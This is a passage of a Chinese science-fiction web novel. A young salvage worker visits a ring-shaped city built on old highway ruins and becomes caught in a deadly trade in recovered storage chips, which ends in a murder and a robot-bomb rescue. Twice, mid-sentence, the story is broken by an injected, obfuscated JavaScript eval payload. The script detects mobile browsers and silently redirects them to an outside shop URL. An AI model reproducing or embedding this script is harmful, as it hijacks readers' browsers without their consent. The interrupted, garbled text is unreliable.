驾驶室里安静了下来,没有人再说话。三个人怀着各自的念头,看着大货车逐渐驶向前方的灯火。 周向青已经有点想念胖球了。 4. 启程04 城市比周向青想象中还大。 但它又不是她想象中的那种“大”。 如果说,周向青他们的工地是一个个围绕废品的巨坑建起来的“环”,那么这座城市就是圈起所有环的,更巨大的环。城市的房屋建在上个时代高架公路桥残余下来的高高低低的柱子与路面上,犹如一座座彼此独立的高塔;而高塔之间又以人们新修建的吊桥、长桥或栈道相互连接,新来城市的人们又在这些桥边搭建起新的建筑,最终竟延展成一弯狭长而近于一个圆环的城市带。 这条城市带能够建立,靠的就是为这些废坑中淘金的人们提供所需要的各种生活用品和工具材料;而从废坑中淘到的宝物又通过这座城市,运送到世界上其它需要这些回收品的地方。不计其数地物资通过这座城市一刻不停地流入流出,城市也一刻不停地吸取养分,兴旺发展。 它环绕九个巨大废坑,一刻不停地往来运输物资,于是也因此得名: “环运城。” 但这里的人只是叫它“城市”。 城市的灯光日夜不息,商品的循环终年不止。掌握这座城市的命脉,让它如环般转动不休的人,则称其为: “仓鼠的轮盘。” 而这只仓鼠的名字,就叫: 杜兴田。 以上是季老鬼在周向青帮忙卸货的时间里,给她免费科普的,这座城市的历史。 但周向青并不是很相信。她不太认同这么巨大的城市能够被某一个人轻松“掌握命脉”,也不认为什么商品循环能像小电车的车轮那样由某一个人轻松推动。面对此质疑,季老鬼表示,这也不过是一种“解释”,而他季老鬼并不对相信此解释造成的任何后果负责。 老杨在这段时间里则跑到对面的旅馆订了两个房间。他回来的时候,显然是已经趁机灌了两杯酒,脸色黑里透红,红里透黑。老杨把一柄钥匙丢给周向青,大着舌头说:“你自己爱上哪上哪去吧,别来烦我。” “这就准备歇啦?明天不是还要去鼎新楼吗?你不准备一下?”季老鬼问。 “关你什么事。来了城里,就该先叫几个女人乐乐。” 周向青皱起了眉头。 “再说了,有什么好准备的?”老杨拍了拍胸前的口袋,续道:“我把样品给他一看,谈好价钱,然后一手交钱一手交货不就行了?” 季老鬼一惊:“你……把东西都随身带着?” “我有那么傻?我才不会在别人的地盘交货咧。你记得给车充电,我明天开你的车。”老杨不等季老鬼回答,一摆手,走了。而季老鬼还要盘库,便也撇下周向青回到自己的小屋去了,只留下她在回收站的停车场上发呆。 第一次进城的体验,真的是糟透了。 周向青不知道自己该干什么,也不知道自己到底在哪里。 她只是深切地感受到自己不属于这个地方。她就是一个异类。只有胖球和那辆小房车,才是她的小天地。 她已经开始后悔走这一趟了。 但比起后悔,想到胖球,更让周向青有些担心。她的房车附近没有什么八哥能吃的东西,希望它不要饿到去翻别家的垃圾,不小心吞了螺丝什么的。她下意识望了望天空,但城市的空中没有一只鸟。这里只有塔楼与塔楼间错落的窗台、钩心斗角的屋檐和时亮时灭的霓虹灯招牌,以及两侧无边无际的黑暗。 城市才不会有鸟呢。她对不在场的傻宝兄弟吐槽了一句。 可是,她刚吐槽完,就真的看到了“鸟”。 就在老杨订房的旅馆隔壁的隔壁的隔壁,有一个氖气灯和氩气灯交替闪烁的招牌。上面画着一只白腹黑背的鸟,弓腰驼背地站着,双眼盯着下面的店门。那像是古怪绅士的样子并不如她的胖球可爱,但好歹算是同类。 招牌上写着两个字:夜鹭。 “夜鹭”里传出一阵阵音乐的波浪。周向青像夜鹭一样伸着头,站在走廊里向店内张望,但她除了闪来闪去的五颜六色之外,什么都看不清。这里并不像是跟鸟有什么关系。她想退出去,但几对搂抱着的男女发出阵阵调笑声,摆成一堵人墙从她身后压来。 她避无可避,又不想和那些人接触,只好硬着头皮一头拱进店里。 店内很暗,并不宽敞。中场有七八个人和着乐声慢慢摇摆,另有几个人凑在长长的柜台边交头接耳。而原本在她身后的几个人挤进店内后,就像黑糖加进咖啡一样,一转眼就已不见踪影。 这昏暗拥挤的环境,让周向青只觉的如芒在背、浑身不适、头皮发痒。她不由得摘下帽子握在手里,双眼四处乱扫,两脚慢慢向看上去人少的角落里挪动。却不料她竟一脚踩到什么软软的东西,而旁边沙发上一团漆黑的东西一下子舒展开来,从中露出两张煞白的人脸。周向青吓了一跳,连连后退,却又撞到了后面跳舞的人身上。 她就像是一只想要洗澡但掉进深池的鸟儿,不断扑腾着,掀起一圈圈静止的波澜。人们纷纷停下动作,一双双发光的眼睛盯着她这个不速之客。 周向青像是溺水一样,喉咙里发出咕咕的声音。 她的意识随着心情一同沉了下去。 “抱歉啊各位,打扰了!你们继续,拜拜!”伴随着不知从哪响起的声音,一股柔和的力量从背后托起周向青,把她送出了那个奇怪的空间。 周向青站在“夜鹭”门外,扶墙吸了几口清冷的夜风,才从刚才的尴尬中缓过神来。把她带出来的人则双手插在大衣的口袋里,似笑非笑地看着她。但他真的看清周向青的脸之后,却眯起了眼睛。 “你来找人?”他说。 周向青摇了摇头。 “那你到这里干什么。这地方跟你可不太搭边啊。” “我……就是随便看看。”周向青觉得有点难解释。到现在她也不知道招牌上的那只夜鹭到底是什么意思。 “噢——第一次到城里,是么?” 周向青能感觉到对方的视线似乎在寻找什么一样,正在自己身上扫来扫去。她突然意识到,自己身上那套还沾着污渍的工作服,的确和这个地方格格不入。她不由得握紧手里的帽子,挺起胸说:“并不是。我就是跟着车来送货的,明天就回去。” “这样。那我送你回住处?” “用不着。”周向青掉头就走。但她并不想现在就回去,因为老杨多半正在“乐乐”。而且,对方虽然没有跟上来,但周向青感觉得到他的视线仍然跟在身后。她加快脚步,走下螺旋状的楼梯,穿过长长的桥洞,来到与旅馆相邻的另一段塔柱上。这里的店铺都建在悬空一侧,小而通透,招牌也整齐划一,上面写着各自经营的内容:烧烤、麻辣烫、盖浇饭、馄饨面食,不一而足。 周向青随便找了一家人少的店,推门进去。 门上的铃铛发出难听的叮当乱响。“欢,迎光临。”服务员在柜台后有气无力地说。 周向青还什么都没看,就已经后悔了。 但她还是勉强坐下,去看玻璃桌面下压着的菜单。 上面的菜名她一个都不认识。她不知道自己该吃些什么。她不在工地的食堂吃饭。她每日的烹饪就是给胖球拌鸟粮,以及把配好的能量棒放进冷柜定型。她不知道菜单上的这些东西吃起来是什么味道。 “欢……迎。”门上的铃铛又是一阵乱响。显然是有客人进了店门。来人走到周向青的桌边,拉开她对面的椅子,一撩衣摆,坐了下来。 周向青认识这件大衣。还是刚才那个人。 “真巧啊。又见面了。”他说。 “难道不是你一直跟过来的吗?”周向青反问。 “似乎是这样没错。”对方笑着承认了。 “你跟着我干嘛?” “嗯——像你这样的姑娘,到哪里都不太多。所以,自然就有点兴趣。” 周向青生气了。“我不觉得自己跟别人有什么不同。” “没错,我正是这个意思。”对方十指交叉,放在桌面上。“正是这个意思。” “到底什么意思?”周向青抬起头,直视对方的眼睛。 那人大概二十多岁,大衣的衣领竖得很高,遮住了大半张脸,没戴帽子,头发整整齐齐,两只眼睛毫不掩饰地紧盯着周向青的一举一动,深棕色的眼瞳里闪着好奇的光芒。 他突然猛地伸出手,紧紧握住周向青的手,虎口用力,猛 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“主人?”周向青站起身来。“一样的东西?主人?”她举起手,又放下,然后猛地在面前一挥。老杨是她的主人?这是在说什么鬼话! “主人?”她想说什么,但又被对方自顾自的胡言乱语气得想不到能说什么,最后只是重复了一遍刚才的话。 “抱……抱歉。”事情的发展显然超出了男子的意料,他一下子乱了阵脚,仓促间只挤出了这么三个字。 “焦糖少糖,三十块。”一个旧瓷杯“咚”的一声放在了男子的面前。男子的视线尴尬地飘来飘去,他想要弥补刚才的失言,又得低头掏钱付账,一时顾此失彼。 周向青,但这次她意识到自己居然还握着她的红帽子——甚至都捏得有些皱了——于是就把帽子用力扣在自己脑袋上,说:“看来也没什么好说的了!” “呃……哦!哦!哦!” 男人还是没有想出合适的台词,但他看到了周向青的红色帽子上,那个青色货运飞船和闪电的标志。他眼神中的慌张马上变成了理解与兴奋,但太多话语和情绪同时涌到他的嘴边,把很复杂的信息浓缩成了音调逐渐提高的三个单字。他伸出双手,想挽留面前的女子,但服务员却挡在他的前面。 “三十块。”服务员伸出手。 男人从口袋里掏出几张皱巴巴的纸币,随手甩给服务员,可周向青已经甩辫而去。 叮叮当当的铃声中,店门猛地关上,拍进一阵冷风。 周向青向旅馆的方向大步快走,但她还是听得到身后急促的脚步声由远及近。 “抱歉,刚才失言了。我就应该猜到,像那种人,哈,怎么可能!这样的品质,除了他,还能有谁?”男子夸张地摇摆着手臂,可他的另一只手还端着刚刚拿到的咖啡,这一下差点弄得咖啡洒出来。 周向青并不理他,只是一味向前走。 “所以你才是代表他来的人。这下我明白了,有话也不妨直接告诉你——是这样,这批货呢,院里的出价是这个数。”男子竖起5根手指。“当然,如果其它方面有更高的提议,可以再商量。但以前的联系方式已经失效了,所以能不能再给我你们的联系——” “客人,钱不够,而且你不能把我们的杯子带出来。”服务员跟在男子身后。 周向青猛地停下脚步,回过身大声说:“我不懂你在说什么。我谁也不代表。我不知道你们‘院里’,也不会给你什么联系方式!” 男子停下脚步,露出困惑的眼神。“难道我又弄错了?” “对。我既不认识你——” “我叫姜原。” “我才不管你叫什么!” 周向青扭头要走,姜原连忙伸手拉住了她的衣袖。周向青一甩胳膊,偏巧从下往上打在姜原咖啡的底部。 一半咖啡正泼上姜原的大衣前襟,另一半跟着旧瓷杯一起撞在地上,陶瓷碎片和咖啡液溅得满地都是。周向青看到姜原的狼狈样子,心里有点后悔,但又不想再多纠缠,索性头也不回地爬上去旅馆方向的螺旋楼梯。 第一次城市之行,真的,糟透了。 5. 启程05 周向青快步爬上螺旋楼梯,却发现一个城里打扮的女人正挡在她的面前。 她看着从楼下爬上来的周向青,抬起戴手套的双手,缓缓鼓掌。 “打得漂亮。”她笑道。鬓边的耳环随之晃来晃去。 “啊?” “像那样纠缠不休的男人,就该给他来那么一下。” “你怎么也——算了。请你让一让。”周向青无奈道。为什么到了城里,所有人都在看她? 女人侧过身,让周向青上来。她的视线先在周向青的红帽子上打了个转,然后顺着脸面、辫子、肩头、腰胯、膝盖、脚尖一路滑了下去。“真没想到,你是这个样子。”她如此总结。 “哦,所以呢。”周向青算是看透了城里人。他们每个人都是自说自话。真是些傲慢的家伙。 “没什么。我还以为他的品味会高一些。好啦,你陪我去杨先生那里吧。” “难道你是……你认识我?”周向青懵了。 “对呀。杜老板请我来验货,小华子说你们住在这边,反正地方不远,路也熟,我就自己先来了。然后看到你在下面说话,就在这里等你呀。” “哦。”周向青应了一句。她突然懂了姜原一半的话——他大概是代表那什么“院里”,想跟她商量买老杨那些存储器的事情。 但姜原的另一半发言,什么“主人”,什么“品质”,还是莫名其妙。她不由得向下看了一眼,姜原还在那里跟那个服务员指手画脚地说着什么。而服务员紧紧抓着他的袖子。只是他们在说什么就听不到了。 “我们走吧?”那女人问。 “好。请问你怎么称呼?” “我姓胡。你呢?” “胡小姐,”周向青点了点头,“我叫周向青。” “你名字很好听。这长长的辫子也招人羡慕。”胡小姐笑了。她笑起来整个眼睛都弯弯的,跟她的短发搭配,飒飒地很好看。 周向青只有点恍神,然后才想到自己还要带路。她急忙转过身,向着旅馆啪啪迈开大步。胡小姐看着她笨拙的样子,在她背后咯咯直乐。 旅馆很旧、很脏、很破。很适合老杨。楼梯也很狭窄,只容得下一个半人。但这里的墙壁却格外的薄。周向青在前,胡小姐在后,在各种令人不适的声音中一直爬到老杨定下的那一层。 而老杨门后的动静也着实不小。 周向青虽然不明就里,但直觉让她尴尬得要死。胡小姐似乎却不以为意,直接上前砰砰拍门。 “滚!再拍老子撅断你脖颈!”老杨在里面吼道。 “杜老板。”胡小姐只悠然说了三个字。 门内一下子安静了。一阵悉悉索索的声音之后,房门开了。老杨光着膀子,赤脚,只穿了一条长裤。两个浓妆艳抹的女人抱着衣服,从他身前慌忙挤出门去。 胡小姐面无表情地目送她们出去,然后才转向老杨:“杨先生。杜老板想在见面前,先看看你手头的东西对不对他的胃口。” “好说,好说。”老杨干笑两声,从地上捡起外套穿上,扣好扣子。“不过你们也真是,事先都不通知一下,我都还没准备。” “这是杜老板的惯例。”胡小姐甩出这么一句话,一捋裙摆,径自坐在窄桌边上。她打开随身的提包,从里面端出一套小巧的设备,放好。她先看了看周向青,又看了看老杨,问:“请问,货在你们谁手上?” 老杨侧过身,从外套里摸了一个油布包,层层展开,里面是一个塑料小盒,而海绵垫料上整整齐齐摆着8片那天拆下的存储器。周向青记得一共是32片。 胡小姐挑起其中一片,插进自己的设备,然后按了几下按钮。显示屏上现出一根缓缓移动的进度条,同时一个树状的条目表不断生枝分叉。周向青凑过去想看那上面都是什么,却只见其中都是些“兴南新区发展规划局,会议纪要,8月7日,启动紧急能源分配3号预案”这种不懂的词条。 “从恢复的文件目录上看,没有问题。”胡小姐说。 老杨哼了一声。 周向青反而吃了一惊:“真的有人想要这种东西?” 胡小姐奇怪地看了一眼周向青,答道:“我只负责检验商品是否符合客户的需求。客户想要什么,我也管不着。”她顿了顿,温颜又说:“但在我个人理解,历史不就是这么回事吗?无数人做出的无数琐碎的事件,汇在一起,就变成了看似特别复杂的事情。” 周向青对这胡小姐一下生出不少好感。她有点想聊聊那数据保险柜的事,听听胡小姐的看法。她想知道,能不能用她的仪器测出是谁先打开了那保险柜,把视网膜验证改成了自己。但她又不知道从何问起。 胡小姐一片接一片地验完8片存储器,放入盒中,盖好,递还给老杨。“只有这8片吗?” “不,还有。”老杨看着胡小姐再次伸出的手,反而一屁股坐回床上去了。“不过只有你验我,没有我验你,不太合适吧?嗯?你们要是有诚意,也该让我看一看,验一验。” “哦?好吧,那今天到此为止。告辞。”胡小姐把设备关掉,收好,扣上提包,站起身来。 “你急着跑什么?”老杨伸手去抓胡小姐的胳膊,却抓了个空。胡小姐早勾住老杨的手腕,一拧一带,长而尖的鞋跟狠狠蹬在老杨的膝弯。老杨惨叫一声,单膝跪地。 “没人有资格验杜老板的诚意。” 胡小姐说完,松开老杨的手腕,转身出门。 周向青看到胡小姐扬长而去,一时不知如何是好。她上前想扶起老杨,但老杨却猛地甩开她的手,低声吼道:“滚!给我滚!” 于是周向青转身走了。 她追着鞋跟声跑下楼,发现胡小姐正在楼梯拐弯处等她。“我听见他吼你了。”胡小姐说。“呵,男人。” 周向青有点不好意思地笑了笑。她突然想起胡小姐之前的那句话,于是便有些生硬地有模学样道:“像那样玻璃心的男人,就该给他那么一下。” 胡小姐哈哈大笑起来。“说得好。”两人一同笑着下楼。走出旅馆大门后,胡小姐收起笑容,问:“所以,你现在到底扮演的是什么角色?” “我没扮演什么啊。”周向青摇了摇头。 “所以,你就真的……就跟着那个家伙?”胡小姐惊讶道。 周向青并不明白这有什么好惊讶的。“他是我隔壁工段的工长,我本来也不想来的,他非要我来而已。因为他怕我跟我的工长说我偷听他说话的事情……反正,我明天就回去了。这里的事跟我也没什么关系。” “这样啊。那没事了,只是我认错人而已。”胡小姐犹豫了一下,像确认什么似的又问:“但这顶帽子,真的是你的吗?” 周向青摘下自己的帽子看了看。“是我的呀,我一直戴这个帽子。”在她的印象里,自己似乎没有不戴帽子的时候。“你认识的人,也戴一样的帽子?” “这倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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——你问我在干什么?我在等鲸鱼出现。在这么近的地方看鲸鱼,是一种很难得的体验。它给人一种生命的神秘感。这颗星球上的生命都诞生于海洋。而鲸鱼是从海洋出来,然后又回归海洋的动物。你不觉得这很奇妙吗? 人影说完,转过身来。他的脸上也蒙着一层雾。而人影的脚边放着一个黑色的保险柜。看上去是他特意带到这里的。 ——你说这个保险柜?你知道漂流瓶吗?我准备在鲸鱼出现的时候,向它消失的地方扔下去。很久之后,它就会在另一个地方出现。不,不完全是随机的。海里有洋流,而这些看似静态的废品之海下也有类似的流动。 ——的确,得到它费了我不少功夫。但我觉得,扔掉它费的工夫更多一些。 ——你问为什么?因为更有戏剧性——这个答案如何?哈,瞒不过你。但原因是不会告诉你的。 ——这是一种任性没错。但这算是没有意义的任性吗?大概不是的。 ——结果?如果我知道结果的话,这么做也就没有意义了。有时候,意义就在于不确定。不确定才叫历险,不是么?这才是生命的奇妙之处。鲸鱼的祖先在离开海洋的时候,它会想到有朝一日自己还会回来吗? ——对了。你说—— ——仿生人会梦到电子鲸鱼吗? 地面剧烈地震动起来。 6. 启程06 那是擂鼓似的捶门声。 白色的雾气与梦境一同随之消散。 伴随捶门声响起的,还有不耐烦的“起床、起床”的喊叫。接下来是“小妮子叫啥来着”的小声嘀咕。然后又是“起床、起床”的喊叫,以及擂鼓似的捶门声。 周向青急忙爬起身来。窗外天光早已大亮。 奇怪。她还从没起这么晚过。 老杨就站在门外,脸色很难看。周向青觉得他能忍着没有踢门,大概只有不想给旅馆赔钱一个原因吧。 “只剩一个半小时,没时间给你磨叽。” 老杨撂下这么一句话,就转身下楼去了。周向青匆匆跟上去,只见季老鬼和他的小车就停在下面。一辆有车斗的三轮小电动车。老杨一看便破口大骂:“骗人的鬼,你说你有车,结果就是这个东西?” “这不是车?有方向,有轱辘,有发动机,不是车?不然你还想开大货走下面吗?那得多少油钱?我买这个是为了走鼠道送货,又不是要钓马子装门面。你要车,我给你车,你还不乐意了?你这么阔气,自己买一辆啊!”大概是知道自己没办法从中得到什么利益,季老鬼的语气比平时强硬了不少。 老杨无法反驳,只得抱怨道:“嘁,像这种情况,不应该由他们安排住处和接送吗?如果这东西那么值钱,他们做点投入能怎么?我他妈真都不想去了!” 这几句话还真有点道理。 “爱去不去。反正把我的车囫囵还回来。”季老鬼把钥匙扔给老杨,自己走了。 老杨又骂了几句,但还是抬腿跨在驾驶座上。他看了看后面载货的车斗,对周向青喊:“喂,你上来!” 周向青爬进车斗。车斗紧靠老杨背后的位置焊了一块铁板,上面钉着一个坐垫。她就坐在那上面。 “妈的,别搞得跟昨天一样……”老杨叨咕着,发动起车子。 季老鬼说的“鼠道”,是这环运城的两条交通线之一。 因为环运城被称为“仓鼠的轮盘”,杜老板和他的组织也就顺理成章地被称为“鼠帮”,他们所走的道路自然也就是“鼠道”。主要走货车和大客车,承担主要交通输送的大路,则被称为“马路”。 城市人有云:“马有马路,鼠有鼠道。” 鼠道是杜兴田和他的手下为了对这座城市有效管理而修建的,一条穿插于长桥、涵洞,将无数塔楼首尾相连的一条相对较窄的车道。鼠道就像老鼠的尾巴,又细又长,且深入到这个城市东西南北“四向十二段”的各个角落。 而其中一根尾巴的末梢,就是: 鼎新楼。 鼎新楼,取“革故鼎新”之意。但与其名字恰恰相反,鼎新楼是一栋颇为传统的三层茶楼,位于北环二段长街的中心。这个路段大概是地基更好一点,上个时代的高架路留下了两公里没有垮塌的桥面。自然而然地,这里也就成了众人聚居、贸易的一个繁荣地段,而杜兴田的毕生事业,“城市发展振兴会”,就是从这里开始。虽然杜兴田后来变成了杜老板,但这座鼎新楼却没有改变经营方式,仍然向公众开放。这是杜兴田的坚持。人群与烟火气,让他能够切身感受到这座城市的脉动。 周向青他们赶到鼎新楼下时,离约好的时间还有十多分钟。老杨在旁边的一条巷子里停好了车,然后盯着茶楼上上下下看了半天,却始终迈不动步子。显然是昨天的挫折让他如今多了几分顾虑。 但楼内径直走出六个一身黑衣的年轻人来。两人在前,四人在侧,将老杨和周向青围在半圆的圆心。 “想必您二位就是杨先生、周小姐了。”为首的人说。 “啊,是,是。”老杨答道。 “请跟我来。”六人立即变了位置,一人在前,一人在后,另四人分据四角,簇拥着二人向鼎新楼内走去。 鼎新楼内一层,当中是天井内方形的传统戏台,通过小桥流水与四周普通客人的堂桌隔开。另有一角有可移动的折叠屏风,客人若有所求,就可临时隔出一片私人空间。虽然目前还没有表演,但仍然有不少人在下面吃早茶。 在吃早茶的客人里,有一个周向青有些熟悉的身影。她跟着带路的年轻人上了半段楼梯,那个身影居然对她抬起头来,还笑了笑。 是昨晚的姜原。今天他穿着一件不太合体的大衣,显得比昨晚还要古怪。 但姜原像早已知道周向青要来一样,脸上的表情毫不意外。他对周向青举了举手边的茶盅,轻呷一口,然后夹起一个烧卖填进嘴里。 周向青皱起眉头盯着他,但姜原却不再抬头了。 鼎新楼的二层是包间与雅座,第三层才是开会商谈用的厢厅。一上三楼,便见到一个瘦长的男人站在楼梯口迎接。男人小脸,尖下巴,戴眼镜,理平头,穿一件土黄色的短夹克,看上去干练机警,但不太像有权势的人物。 “云先生。”六个年轻人一齐鞠躬。瘦长男人并不理睬他们,只是对老杨伸出手来。 “欢迎,杨先生。我是云景龙。这位想必就是周小姐。本来应该直接把你们接到专门的宾馆,但会长不想惹人耳目,所以才让你们自行前来。只可惜昨天似乎有一点不愉快。会长请我代他表达歉意。胡筱秋那个女人,仗着会长的信任,一向缺乏管教。她要是有什么冒犯,请勿见怪。”云景龙微微低头。 “呃,没事。我没放心上。”老杨答道。 “那就好。两位,这边请。” 云景龙把他们引到厢厅门前,门牌上写着“听月”两个字。 听月轩里倒是意外的朴素,进门是一张茶几和配套的实木沙发,里面的月洞门后是卧榻、衣柜衣箱、书桌镜台,用一道屏风隔开。房间靠墙还有放着花瓶、花盆的小桌。厢厅内已有四人分据房间四角,看云景龙进来,一同点头示意。 三人就在茶几旁落座。茶几上放着一个方方正正的东西,但用一块厚厚的布盖着,不知道下面是什么东西。 老杨盯着那块布看了一会儿,又因为背后站着人而很不自在,不满道:“杜老板人呢?” “杜会长另有要事,就委托我来接待二位。”云景龙不紧不慢地说。“当然,会长也吩咐我,先给杨先生展示一下我们这边的诚意。”他从茶几下抽出一个沉甸甸的箱子,打开,转向杨、周二人的方向。 里面整齐地排着一摞金条、带上时代完好包装的各式芯片、微型镜头等一干值钱货物。老杨盯着箱子里的东西,呼吸明显急促了许多。 “杨先生,看到我们的诚意了吧。” “看、看到了。”老杨喘息道。 云景龙轻轻按上了箱盖。老杨不由得“啊”了一声,但他很快意识到了自己的失态,急忙深深吸了几口气。 云景龙等他平静下来,才说:“杨先生,本来我们应该尽快完成交易的。但出于这批货的敏感性,我们还有一些事情想重新确认一下,所以还要问您几个问题。” “好,你尽管问。”老杨又深吸一口气,挺起胸脯。 “首先,这批货是在哪里发现的呢?” “坑里。我们工段的坑里。鲸鱼卷上来的。” “哦。随着一起上来的,有没有别的东西?” “没有,没有值得注意的东西。就只有一个黑色的,画着那个标志的小保险柜。柜子还在我那。” “保险柜有没有什么问题?比如损坏、被打开过的痕迹之类的?” 老杨正要说话,云景龙却竖起一根指头,指向周向青,示意让她回答。 周向青一愣,不知道自己要不要把视网膜验证的事情说出来。但她眼角的余光看到老杨在微微摇头,便说:“我们是直接切割打开的保险柜,没注意到底有没有痕迹。” 云景龙慢慢点着头。“所以,情况就是,你们在那个废坑里捡到了保险柜,你们把它打开,你们拿到了里面的存储器,然后还是你们想到可以卖给杜会长?”云景龙的每一句话中,都把“你们”这个词咬得特别重。 就连老杨也已经听出云景龙话里有话,他一时竟不知怎么回答。周向青更不知道如何是好。 就在此时,厢厅的门响了。 站在房间四角的人同时伸手向怀里摸去。云景龙也皱眉扭头,望向门口。 一个服务员打扮的人推着小车走了进来,看到这个阵仗,颤声道:“补……补茶水?” 大概是他被吓到了,声音都有些走形。周向青只觉得他怪怪的,有什么地方不太对劲。但她也说不出来。 云景龙显然也知道事情不对,他平静地问了句“谁叫你补茶水”,一面给部下使了个眼色。 其中一个黑衣人便走上前去,把服务员上上下下搜了一遍,然后又检查了小车内部,对云景龙摇了摇头。 “我……领班叫我给三楼的贵客补茶水,说是店里送各位的点心。”他指了指车上放着的一个托盘。里面的确是一个茶壶,三个杯子,四碟精致的点心。 “这样。很感谢你们的好意,但我们用不着。你回去吧。”云景龙摆了摆手。 刚才搜身的那个手下从服务员身边退开,但双眼还是死死盯着他。服务员僵硬地拉动小车,转了个圈,想要出去,但似乎是轮子被什么别了一下,小推车的车头撞上了墙角摆花瓶的小桌。小桌一晃,花瓶一歪倒下,恰巧摔在小车的托盘上。茶壶和点心碟都被花瓶砸翻,鲜花、花瓶碎片、茶水、点心,稀里哗啦掉得满地都是。服务员急忙蹲下身去收拾。 云景龙皱眉道:“用不着收拾了。” 服务员慌不迭地连声道歉,两只手却仍在拾掇那些碎片。 云景龙震声喝道:“别收拾了!给我出去!” 服务员吓得从地上跳起来,跌跌撞撞地推着小车逃了。 云景龙叹了口气,转过脸重新看着老杨和周向青。“所以,刚才的答案呢?”似乎他刚才的煞气都是假的一样。 而老杨也因为刚才的场面下了决心。他有点强横地说:“就是我们想到的,怎么了?” “是你就好。”云景龙眯缝起眼睛,缓缓点着头,不再说话了。 整个厢厅内安静得令人头皮发麻。 老杨在坑上可从来没受过这种气氛,他终于忍不住,按着茶几怒道:“所以呢?问题问完了?” 云景龙缓缓睁开眼睛,瞳孔里换了一副神色。“大概三年前,杜会长得到了一条线索,于是他请一个朋友,去某个地方,寻找某个东西。但没想到,这位朋友一去不回,从此杳无音讯。杜会长只得又委托一支小队去寻找。这次搜寻小队倒是很快就带回了消息。会长的朋友没有找到,但会长的东西也不见了。当然,杜会长考虑了这个朋友背叛他的可能性。但他求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088295|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 证到,其它有关方面,也都没有收到这位朋友的联系。这样东西,也没有在市场上出现。然后,事情就这样沉寂了三年。” 云景龙说到这里,摘下眼镜,呵了口气,用一块小小的麂皮擦拭。擦完两个镜片,他把眼镜重新戴好,续道:“而前几天,杜会长突然收到了这位朋友的信息,要他准备收货。” “然后你,杨先生;还有你,周小姐,你们突然出现在这里,要把会长等了三年的东西,卖给他。”云景龙掸了掸裤腿,慢慢站起身来,俯视着老杨和周向青。他的镜片反着光,让人看不清表情。 厢厅内一片寂静,只有老杨粗重的呼吸声。 “杜会长不是一个相信巧合的人。而我,也不信。杨先生,”云景龙微微弯下腰,声音冷得刺人,“你先把杜会长的东西交出来,我们再讨论其它的事情。” 老杨的身体往后一弹,双手用力捂住了自己的衣兜。“你讹诈我!你敢动我一根毫毛,剩下的东西,你告诉杜兴田,他这辈子就别想再见到!我儿子——” 云景龙揭开了茶几上的那块布,露出了一个藏青色的盒子。他打开那个盒子,里面安安静静躺着另外的二十四片存储器。 “这是他们今早取回来的。”云景龙说。 老杨惊恐地盯着那个盒子,瞳孔不断缩小。 然后他突然意识到什么,想从沙发上跳起来,但他的肩膀已经被身后的两个人牢牢按住了。 云景龙微一点头,两根三棱尖锥同时刺入老杨的后脑和前心。 一个人伸手从老杨口袋里逃出那个油布包,递给云景龙;随后老杨的身体也被拖入厢厅角落,扔进一口箱子内。 整个过程干脆利落,老杨在短短的一瞬间便消失了。就连一滴血、一根头发也没有留下。只有还没完全回弹的记忆坐垫,以及一缕缕残留在空气中的体温,暗示这里曾有个人存在过。 周向青呆在原地。 她大脑混乱,皮肤冰凉,双手紧紧抓着膝盖。她好像理解了刚刚发生的事情,但又没有完全理解。 她的心里嗡嗡作响,一股力量绷住她的腰腿,让她无法动弹。 云景龙只是慢慢坐回原处,打开油布包,一片接一片把那些存储器放进那个藏青色的方盒,盖上盒盖。然后他才抬眼看了看周向青的表情,道:“现在咱们聊聊你的事情。你是从哪弄到这顶帽子的?” 周向青张了张嘴,但发不出任何声音。 “杜会长非常关心他朋友的下落,所以你最好老实交待。你这帽子是从哪里拿到的?” 心脏中的嗡嗡声停止了,那股绷住她腰腿的力量也在渐渐消失,她眼前的景象开始变得模糊起来。 “你也是敬酒不吃,非要吃罚酒吗?”云景龙凑到周向青面前,揭下她的帽子。因时间推移而变淡的红色,青色的快递飞船标志,黄色的闪电。云景龙翻过帽身,白色内衬上两处红线缝补的痕迹清晰可辨。 “你要是再不说话,我只能把你交给能让你说话的人了。” 黑色的影子一个接一个从周向青的视野角落里爬出来,跳舞一样不断耸动。一线凉意从她的心脏向双手的指尖蔓延,似乎有什么东西正在接管她的身体。 咚、咚、咚。 敲门声。 “谁?”云景龙问。 门开了,是刚才那个服务员。 “你又来干嘛?”云景龙警惕道。 “楼下有位客人,要我递这张便条给您。”服务员的声音还是那么不自然。 “你说什么?”云景龙皱起眉头,自语道:“外面那些废物,怎么老把这个家伙放进来。” 服务员举起手中一张卡片似的东西,说:“便条……” 云景龙的一个部下快步上前,取下服务员手中的卡片,仔细检查了一番,递给云景龙。云景龙接过,只见卡片上只潦草写着三个字: 看窗外。 云景龙一愣,不由得转身望向窗外。但窗外什么都没有。 咯咯……嘣。 那是什么装置启动的声音。云景龙回头望去,却见服务员的头歪到一边,滚滚白烟从它半张的口中汹涌喷出。同时它的两只手臂微微举起,两只手掌从袖筒中飞向沙发两侧,随即爆发出炫目的强光和巨响。 爆炸的气浪震起的墙粉和灰尘,伴着白烟在房间内四处弥漫。 云景龙倒在地上痛苦地挣扎,他手中的那顶红色帽子被吹上空中,打了几个转,落在茶几旁边的地上。 两只长长的机械爪撞碎玻璃,抓住窗框,然后用力一翻。一个穿大衣的身影借力一晃,登上窗台。来人扫了一眼室内的情况,注意到周向青仍然直挺挺地端坐在沙发上,不由倒抽一口冷气。但看到周向青垂着头一动不动,他最终还是从窗台上跳了下来。 “跟你说了,看窗外,不是么?”他对云景龙说。 